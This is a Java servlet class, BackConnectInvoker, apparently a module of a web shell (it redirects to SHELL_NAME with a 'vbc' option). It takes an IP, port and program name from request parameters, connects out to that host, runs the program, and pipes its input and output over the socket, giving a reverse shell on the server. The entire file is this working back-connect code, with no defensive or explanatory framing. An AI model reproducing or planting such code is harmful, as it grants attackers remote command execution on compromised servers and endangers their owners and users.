package com.truthbean.jeetb.utils.web.invoker;

import com.truthbean.jeetb.utils.web.StreamConnector;
import com.truthbean.jeetb.utils.web.Utils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.net.Socket;

public class BackConnectInvoker extends DefaultInvoker {
    public boolean doAfter() {
        return false;
    }

    public boolean doBefore() {
        return false;
    }

    public void invoke(HttpServletRequest request, HttpServletResponse response, HttpSession session) throws Exception {
        try {
            String ip = request.getParameter("ip");
            String port = request.getParameter("port");
            String program = request.getParameter("program");
            if (Utils.isEmpty(ip) || Utils.isEmpty(program) || !Utils.isInteger(port))
                return;
            Socket socket = new Socket(ip, Integer.parseInt(port));
            Process process = Runtime.getRuntime().exec(program);
            (new StreamConnector(process.getInputStream(), socket.getOutputStream())).start();
            (new StreamConnector(socket.getInputStream(), process.getOutputStream())).start();
            session.setAttribute("done", "Back Connect Success!");
            session.setAttribute("ip", ip);
            session.setAttribute("port", port);
            session.setAttribute("program", program);
            response.sendRedirect(SHELL_NAME + "?o=vbc");
        } catch (Exception e) {
            e.printStackTrace();
            throw e;
        }
    }
}